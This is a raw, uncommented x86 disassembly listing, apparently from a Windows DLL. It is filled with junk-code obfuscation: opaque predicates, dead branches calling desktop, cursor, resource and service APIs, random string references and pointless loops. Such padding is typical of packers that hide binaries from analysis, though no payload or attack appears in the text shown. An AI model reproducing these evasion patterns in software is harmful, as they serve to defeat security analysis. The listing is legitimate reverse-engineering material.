jge 0x10027cff
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x10027e39
push 0x20e2
push 0x2539
push 0x1e94
push 0x2093
push 0x628
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x5ab
push 0xdc0
push 0x24df
push 0xb64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
jmp 0x10027c4f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaac]
call fcn.10001d31
jmp 0x10027bd3
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x10027e6c
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
jmp 0x10027bb6
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x774], 0x5c8e
jge 0x10027e90
push dword [ebp - 0x9d0]
call fcn.10041403
pop ecx
jmp 0x10027eac
or dword [ebp - 4], 0xffffffff
jmp 0x10027eb6
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1b8], 0
jmp 0x10027ece
cmp dword [ebp - 0x20], 0x1e
jae 0x10028746
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x154]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100283ea
push 2
lea ecx, [ebp - 0x798]
call fcn.10001cf5
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x28], 0x39beb064
mov dword [ebp - 0x88], 2
mov dword [ebp - 0x1a0], 0
jmp 0x10027f31
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x10027f53
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x798]
call fcn.10001d4d
mov dword [eax], 0xbca63185
jmp 0x10027f24
mov dword [ebp - 0x28], 1
jmp 0x10027f63
cmp dword [ebp - 0x28], 0
jl 0x10028080
mov dword [ebp - 0x5ac], 1
mov dword [ebp - 0x8c8], 2
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x10027f9d
mov dword [ebp - 0x28], 7
jmp 0x10028090
mov dword [ebp - 0xcd8], 0xfffffffc
mov dword [ebp - 0xcc0], 0xffffffff
mov dword [ebp - 0xce0], 0xf34fda0e
mov dword [ebp - 0xcc8], 0xfe77dd68
mov dword [ebp - 0xce8], 0xffffffff
mov dword [ebp - 0x114], 0x8ef6b8f3
mov dword [ebp - 0xcf0], 0xaf14c90d
mov dword [ebp - 0xbec], 0xf30836b1
mov dword [ebp - 0x1a8], 0
jmp 0x10028453
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 2
jge 0x1002846f
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x924], 0xd947597a
jmp 0x10028446
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x924]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x924], eax
mov dword [ebp - 0x114], 0
jmp 0x100284a3
cmp dword [ebp - 0x114], 2
jge 0x100284bf
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x924], 1
jmp 0x10028496
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1b8]
movzx eax, byte [ebp + eax - 0x156]
movsx eax, byte [ebp + eax - 0xa88]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x153]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1b8]
movzx eax, byte [ebp + eax - 0x156]
movsx eax, byte [ebp + eax - 0xa88]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x153]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x154]
mov byte [ebp + eax - 0xa88], dl
mov dword [ebp - 0x374], 0xffffffff
mov dword [ebp - 0x420], 0x6ec79cf1
push 4
lea ecx, [ebp - 0x7d4]
call fcn.10001cf5
mov dword [ebp - 4], 0x31
mov dword [ebp - 0x34c], 0x164f
mov dword [ebp - 0x438], 0xf34e401d
mov dword [ebp - 0xa30], 0x8e10d32d
mov dword [ebp - 0x1b0], 0
jmp 0x1002857e
mov dword [ebp - 0x8d4], 1
push 2
lea ecx, [ebp - 0xc98]
call fcn.10001cf5
mov dword [ebp - 4], 0x32
push 3
lea ecx, [ebp - 0xac4]
call fcn.10001cf5
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x54], 0
jmp 0x10028785
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x100287a1
push dword [ebp - 0x54]
lea ecx, [ebp - 0xc98]
call fcn.10001d4d
mov dword [eax], 6
jmp 0x1002877e
mov dword [ebp - 0x54], 0
jmp 0x100287b1
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x100287cd
push dword [ebp - 0x54]
lea ecx, [ebp - 0xac4]
call fcn.10001d4d
mov dword [eax], 0xab2a
jmp 0x100287aa
push 0
lea ecx, [ebp - 0xac4]
call fcn.10001d4d
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xac4]
call fcn.10001d4d
mov eax, dword [eax]
mov dword [ebp - 0x8d4], eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xac4]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc98]
call fcn.10001d31
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xa88], 0
mov dword [ebp - 0x498], 0xfffffff7
mov dword [ebp - 0x1c0], 0
jmp 0x10028855
cmp dword [ebp - 0x1c0], 1
jge 0x1002886e
mov dword [ebp - 4], 0x39
cmp dword [ebp - 0x510], 0x2733
jge 0x10029036
mov edx, dword [ebp - 0x968]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10029052
or dword [ebp - 4], 0xffffffff
jmp 0x1002905c
cmp dword [0x1007d474], 0
je 0x1002a74c
mov dword [ebp - 0x354], 1
mov dword [ebp - 0x520], 0x5f499006
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xcfc], 9
cmp dword [ebp - 0x354], 0xf737a9a9
jne 0x100290b2
cmp dword [ebp - 0x354], 0
je 0x100290b2
mov dword [ebp - 0x518], 1
jmp 0x100290b9
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0
jle 0x100290da
mov dword [ebp - 0x528], 1
jmp 0x100290e1
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x354]
sub eax, 6
cmp eax, dword [ebp - 0x528]
je 0x100290fe
mov dword [ebp - 0x530], 1
jmp 0x10029105
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xec], 0
jmp 0x1002912a
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xffffffea
jne 0x10029151
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x1002914f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
jmp 0x1002911d
mov eax, dword [ebp + 8]
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0xa4], 0x9e923e64
mov dword [ebp - 0x218], 0xd8f6efba
push 1
lea ecx, [ebp - 0xab8]
call fcn.10001cf5
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0x320], 0xfffffff9
mov dword [ebp - 0xbf0], 0x77e06985
mov dword [ebp - 0x97c], 0xffffffff
mov dword [ebp - 0x390], 0x7497f3c8
mov dword [ebp - 0x974], 0xffffffff
mov dword [ebp - 0x598], 0xffffffff
push 3
lea ecx, [ebp - 0xa2c]
call fcn.10001cf5
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x904], 0x83019c36
mov dword [ebp - 0x928], 0x6ab81d4b
mov dword [ebp - 0x940], 0xa6bc6715
mov dword [ebp - 0x5c], 0
jmp 0x10029207
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x10029223
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xab8]
call fcn.10001d4d
mov dword [eax], 0x71f09a2b
jmp 0x10029200
mov dword [ebp - 0x5c], 0
jmp 0x10029233
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x1002924f
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xa2c]
call fcn.10001d4d
mov dword [eax], 0x5004286a
jmp 0x1002922c
cmp dword [ebp - 0xa4], 0
jne 0x1002925f
cmp dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xa4]
jne 0x10029279
mov dword [ebp - 0x538], 1
jmp 0x10029280
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x538]
jge 0x100292a3
cmp dword [ebp - 0xa4], 0
je 0x100292a3
mov dword [ebp - 0x540], 1
jmp 0x100292aa
and dword [ebp - 0x540], 0
mov dword [ebp - 0x218], 0x9b7928f
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x540]
jne 0x100292ce
mov dword [ebp - 0x548], 1
jmp 0x100292d5
and dword [ebp - 0x548], 0
imul esi, dword [ebp - 0x548], 0x6ee4
sub esi, 0x1208373b
neg esi
push 0
lea ecx, [ebp - 0xab8]
call fcn.10001d4d
mov dword [eax], esi
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0xc00], eax
cmp dword [ebp - 0x904], 3
jbe 0x10029323
mov dword [ebp - 0x550], 1
jmp 0x1002932a
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
add eax, 0xfff6
mov dword [ebp - 0x390], eax
jne 0x1002934f
cmp dword [ebp - 0x218], 0
jne 0x1002934f
and dword [ebp - 0x558], 0
jmp 0x10029359
mov dword [ebp - 0x558], 1
cmp dword [ebp - 0x558], 0xd4e
jg 0x10029380
push 0
lea ecx, [ebp - 0xa2c]
call fcn.10001d4d
cmp dword [eax], 0
jne 0x10029380
and dword [ebp - 0x560], 0
jmp 0x1002938a
mov dword [ebp - 0x560], 1
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x96c], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x318]
dec eax
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x96c]
cmp eax, dword [ebp - 0x910]
jle 0x100293c9
mov dword [ebp - 0x568], 1
jmp 0x100293d0
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0x568], eax
jge 0x100293ea
mov dword [ebp - 0x91c], 1
jmp 0x100293f1
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0xc08], eax
push 1
lea ecx, [ebp - 0xa2c]
call fcn.10001d4d
cmp dword [eax], 0x43993911
jne 0x1002941e
mov dword [ebp - 0x570], 1
jmp 0x10029425
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x570]
sub eax, dword [ebp - 0xa4]
cmp eax, 0xfffffffb
je 0x10029442
mov dword [ebp - 0x578], 1
jmp 0x10029449
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0x11cc
jne 0x10029461
mov dword [ebp - 0x580], 1
jmp 0x10029468
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x928]
cmp dword [ebp - 0x580], eax
je 0x10029482
mov dword [ebp - 0x588], 1
jmp 0x10029489
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
neg eax
mov dword [ebp - 0x984], eax
push 1
lea ecx, [ebp - 0xa2c]
call fcn.10001d4d
mov ecx, dword [ebp - 0x984]
mov dword [eax], ecx
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xcf8], eax
mov eax, dword [ebp - 0x320]
cmp eax, dword [ebp - 0x598]
jg 0x100294d2
mov dword [ebp - 0x590], 1
jmp 0x100294d9
and dword [ebp - 0x590], 0
cmp dword [ebp - 0x590], 0xffff
jbe 0x100294f1
mov dword [ebp - 0x934], 1
jmp 0x100294f8
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x98c], eax
push 0
lea ecx, [ebp - 0xab8]
call fcn.10001d4d
mov ecx, dword [ebp - 0x98c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x940]
mov dword [ebp - 0x598], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xa2c]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xab8]
call fcn.10001d31
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 0x2c], 0xa3399244
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x5b0], 0x868fdadf
mov dword [ebp - 0x5f8], 0x8bee6dab
push 1
lea ecx, [ebp - 0xaa0]
call fcn.10001cf5
mov dword [ebp - 4], 0x3d
mov dword [ebp - 0xbcc], 0xffffffff
mov dword [ebp - 0xbc8], 0xffffffff
mov dword [ebp - 0xbc4], 0xffffffff
mov dword [ebp - 0xbc0], 0xffffffff
push 4
lea ecx, [ebp - 0xb60]
call fcn.10001cf5
mov byte [ebp - 4], 0x3e
mov dword [ebp - 0x48], 0
jmp 0x100295ce
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x100295ea
push dword [ebp - 0x48]
lea ecx, [ebp - 0xaa0]
call fcn.10001d4d
mov dword [eax], 0xc3f90802
jmp 0x100295c7
mov dword [ebp - 0x48], 0
jmp 0x100295fa
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jge 0x10029616
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb60]
call fcn.10001d4d
mov dword [eax], 4
jmp 0x100295f3
mov dword [ebp - 0xf4], 0x1637c1d6
cmp dword [ebp - 0xf4], 0
jne 0x100296f1
cmp dword [ebp - 0x2c], 0
jne 0x1002963a
push 4
pop eax
test eax, eax
je 0x1002964c
cmp dword [ebp - 0xf4], 0
jne 0x1002964c
and dword [ebp - 0x5a0], 0
jmp 0x10029656
mov dword [ebp - 0x5a0], 1
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x5a0], eax
jge 0x10029670
mov dword [ebp - 0x5a8], 1
jmp 0x10029677
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0xd00], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd08], eax
cmp dword [ebp - 0x2c], 0xfffffffb
ja 0x100296a4
cmp dword [ebp - 0x2c], 0
je 0x100296b9
cmp dword [ebp - 0xf4], 0
je 0x100296b9
mov dword [ebp - 0x5b8], 1
jmp 0x100296c0
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x5b8], eax
jle 0x100296d7
mov dword [ebp - 0x5c0], 1
jmp 0x100296de
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x5c0]
neg eax
jne 0x100296f1
and dword [ebp - 0x5c8], 0
jmp 0x100296fb
mov dword [ebp - 0x5c8], 1
mov eax, dword [ebp - 0x5c8]
neg eax
je 0x10029711
mov dword [ebp - 0x5d0], 1
jmp 0x10029718
and dword [ebp - 0x5d0], 0
imul eax, dword [ebp - 0x5d0], 0xfffffffa
test eax, eax
jne 0x10029732
cmp dword [ebp - 0x2c], 0
jne 0x10029732
and dword [ebp - 0x5d8], 0
jmp 0x1002973c
mov dword [ebp - 0x5d8], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x5d8], eax
jle 0x10029753
mov dword [ebp - 0x5e0], 1
jmp 0x1002975a
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x5e0], eax
jge 0x10029771
mov dword [ebp - 0x5e8], 1
jmp 0x10029778
and dword [ebp - 0x5e8], 0
cmp dword [ebp - 0x5e8], 0x5c9e
jl 0x10029790
mov dword [ebp - 0x5f0], 1
jmp 0x10029797
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x2c]
jne 0x100297ba
mov dword [ebp - 0x600], 1
jmp 0x100297c1
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x600], eax
jge 0x100297d8
mov dword [ebp - 0x608], 1
jmp 0x100297df
and dword [ebp - 0x608], 0
push 0
lea ecx, [ebp - 0xaa0]
call fcn.10001d4d
mov ecx, dword [ebp - 0x608]
add ecx, dword [eax]
cmp dword [ebp - 0x2c], ecx
jle 0x1002980e
mov eax, 0xfbc6
test eax, eax
je 0x1002980e
mov dword [ebp - 0x610], 1
jmp 0x10029815
and dword [ebp - 0x610], 0
push 0
lea ecx, [ebp - 0xaa0]
call fcn.10001d4d
mov ecx, dword [ebp - 0x610]
add ecx, dword [eax]
mov dword [ebp - 0x618], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x618]
mov dword [ebp + eax - 0xbcc], ecx
push 2
lea ecx, [ebp - 0xb60]
call fcn.10001d4d
mov ecx, dword [ebp - 0x618]
mov dword [eax], ecx
mov byte [ebp - 0xbb], 0
mov dword [ebp - 0x620], 0x4278
mov dword [ebp - 0x994], str.bzrgvsd_jpft_awop_dtxdczso_ukw_scsh_hasi_ruix_axa_ziwxvi_jeua_yywkf
cmp dword [ebp - 0x620], 0x4348
jle 0x100298f5
and dword [ebp - 0x220], 0
jmp 0x10029894
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x372
jge 0x100298f5
and dword [ebp - 0x228], 0
jmp 0x100298b6
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x763f
jge 0x100298f3
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x228]
cdq
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], edx
push dword [ebp - 0x944]
push dword [ebp - 0x948]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x100298a9
jmp 0x10029887
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x10029908
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov byte [ebp - 4], 0x3f
cmp dword [ebp - 0x620], 0x4160
jge 0x10029928
mov edx, dword [ebp - 0x994]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10029944
mov dword [ebp - 4], 0x3e
jmp 0x10029954
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0xb60]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaa0]
call fcn.10001d31
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x638], 0x61e3
mov dword [ebp - 0x678], 4
mov dword [ebp - 0x338], 0xdfe936be
mov dword [ebp - 0x958], 0x5c0de450
mov dword [ebp - 0xadc], 0xb64d07dd
mov dword [ebp - 0xad8], 0xb64d07dd
mov dword [ebp - 0xad4], 0xb64d07dd
mov dword [ebp - 0xad0], 0xb64d07dd
mov dword [ebp - 0xd10], 0x5c0c
mov dword [ebp - 0x6b0], 3
cmp dword [ebp - 0xfc], 0
je 0x10029fce
push 2
lea ecx, [ebp - 0x7a8]
call fcn.10001cf5
mov dword [ebp - 4], 0x41
mov dword [ebp - 0x964], 1
push 4
lea ecx, [ebp - 0xa3c]
call fcn.10001cf5
mov byte [ebp - 4], 0x42
mov dword [ebp - 0x230], 0xaa08bbd1
mov dword [ebp - 0x6c], 0
jmp 0x10029a42
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10029a5e
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov dword [eax], 0xa095
jmp 0x10029a3b
mov dword [ebp - 0x6c], 0
jmp 0x10029a6e
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x10029a8a
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xa3c]
call fcn.10001d4d
mov dword [eax], 9
jmp 0x10029a67
cmp dword [ebp - 0xfc], 0
je 0x10029c4f
cmp dword [ebp - 0x638], 0xffff
jb 0x10029aaf
mov dword [ebp - 0x628], 1
jmp 0x10029ab6
and dword [ebp - 0x628], 0
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov eax, dword [eax]
cmp eax, dword [ebp - 0x628]
jge 0x10029ad9
mov dword [ebp - 0x99c], 1
jmp 0x10029ae0
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x230]
inc ecx
mov dword [ebp - 0x230], ecx
test eax, eax
jne 0x10029b3c
cmp dword [ebp - 0x230], 0
jne 0x10029b12
mov eax, 0x5cfda6c2
test eax, eax
jne 0x10029b12
and dword [ebp - 0x630], 0
jmp 0x10029b1c
mov dword [ebp - 0x630], 1
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov ecx, dword [ebp - 0x630]
cmp ecx, dword [eax]
jl 0x10029b3c
and dword [ebp - 0x640], 0
jmp 0x10029b46
mov dword [ebp - 0x640], 1
mov eax, dword [ebp - 0x638]
cmp dword [ebp - 0x640], eax
jge 0x10029b60
mov dword [ebp - 0x648], 1
jmp 0x10029b67
and dword [ebp - 0x648], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x648]
mov dword [ebp + eax - 0xadc], ecx
push 0
lea ecx, [ebp - 0xa3c]
call fcn.10001d4d
mov esi, eax
push 0
lea ecx, [ebp - 0xa3c]
call fcn.10001d4d
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x10029ba8
mov dword [ebp - 0x650], 1
jmp 0x10029baf
and dword [ebp - 0x650], 0
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov ecx, dword [ebp - 0x650]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10029bdb
cmp dword [ebp - 0x958], 0
jne 0x10029bdb
and dword [ebp - 0x328], 0
jmp 0x10029be5
mov dword [ebp - 0x328], 1
push 3
lea ecx, [ebp - 0xa3c]
call fcn.10001d4d
mov ecx, dword [ebp - 0x328]
mov dword [eax], ecx
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x328], eax
jge 0x10029c14
mov dword [ebp - 0x9a4], 1
jmp 0x10029c1b
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0xd20], eax
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x10029c4f
mov eax, 0xb17b4d2c
test eax, eax
je 0x10029c4f
mov dword [ebp - 0x658], 1
jmp 0x10029c56
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x658], eax
jge 0x10029c70
mov dword [ebp - 0x660], 1
jmp 0x10029c77
and dword [ebp - 0x660], 0
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov ecx, dword [ebp - 0x660]
cmp ecx, dword [eax]
jg 0x10029c9a
mov dword [ebp - 0x668], 1
jmp 0x10029ca1
and dword [ebp - 0x668], 0
cmp dword [ebp - 0x668], 0xffff
ja 0x10029cd6
mov dword [ebp - 0x964], 0xffffffff
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x10029cd1
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x10029fae
mov dword [ebp - 0x670], 0x3f6c
mov dword [ebp - 0x9b4], str.kpuoptwfb_sbmpimkic_uyo
cmp dword [ebp - 0x670], 0x4090
jle 0x10029d9a
and dword [ebp - 0x238], 0
jmp 0x10029d10
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x6bca
jge 0x10029d9a
and dword [ebp - 0x240], 0
jmp 0x10029d32
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x2561
jge 0x10029d95
mov eax, dword [ebp - 0x238]
and eax, dword [ebp - 0x240]
cdq
mov dword [ebp - 0x954], eax
mov dword [ebp - 0x950], edx
push dword [ebp - 0x950]
push dword [ebp - 0x954]
lea ecx, [ebp - 0xec4]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x9ac], eax
mov ecx, dword [ebp - 0x9ac]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xec4]
call fcn.1000da77
jmp 0x10029d25
jmp 0x10029d03
mov byte [ebp - 4], 0x43
cmp dword [ebp - 0x670], 0x3ee4
jge 0x10029db6
push dword [ebp - 0x9b4]
call fcn.10041403
pop ecx
jmp 0x10029dd2
mov dword [ebp - 4], 0x42
jmp 0x10029de2
mov dword [ebp - 0x6b8], 0xefd9132e
mov dword [ebp - 0x248], 0
jmp 0x10029e05
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x10029e21
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0x330], 0x1ec6c048
jmp 0x10029df8
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0xfc], 0xe251
cmp ecx, dword [ebp + eax - 0x330]
jl 0x10029e46
mov dword [ebp - 0x6a0], 1
jmp 0x10029e4d
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 0
jne 0x10029e74
mov eax, 0x7ddc4ea3
test eax, eax
jne 0x10029e74
and dword [ebp - 0x680], 0
jmp 0x10029e7e
mov dword [ebp - 0x680], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
imul eax, dword [ebp - 0x680]
cmp eax, 0xffffffff
jg 0x10029ea3
mov dword [ebp - 0x688], 1
jmp 0x10029eaa
and dword [ebp - 0x688], 0
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
mov esi, dword [ebp - 0x688]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x7a8]
call fcn.10001d4d
cmp esi, dword [eax]
jl 0x10029edc
mov dword [ebp - 0x690], 1
jmp 0x10029ee3
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x690]
jle 0x10029efd
mov dword [ebp - 0x970], 1
jmp 0x10029f04
and dword [ebp - 0x970], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
mov dword [ebp - 0xd28], eax
push 8
pop eax
test eax, eax
je 0x10029f31
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x10029f31
mov dword [ebp - 0x698], 1
jmp 0x10029f38
and dword [ebp - 0x698], 0
cmp dword [ebp - 0x698], 0
jbe 0x10029f4d
mov dword [ebp - 0x6a8], 1
jmp 0x10029f54
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a0]
cmp eax, dword [ebp - 0x6a8]
jge 0x10029f6e
mov dword [ebp - 0x7e8], 1
jmp 0x10029f75
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x6b0], 0xca92
jle 0x10029f8d
mov dword [ebp - 0x6c0], 1
jmp 0x10029f94
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6b8]
imul eax, dword [ebp - 0x6c0]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xadc], eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xa3c]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7a8]
call fcn.10001d31
jmp 0x10029fd8
mov dword [ebp - 0x338], 0x1f4a1ab7
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x804], eax
push 2
lea ecx, [ebp - 0x3a4]
call fcn.10001cf5
mov dword [ebp - 4], 0x45
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x50], 0
jmp 0x1002a00f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x1002a025
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xa70], 0xc93b4e1
jmp 0x1002a008
mov dword [ebp - 0x50], 0
jmp 0x1002a035
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x1002a051
push dword [ebp - 0x50]
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
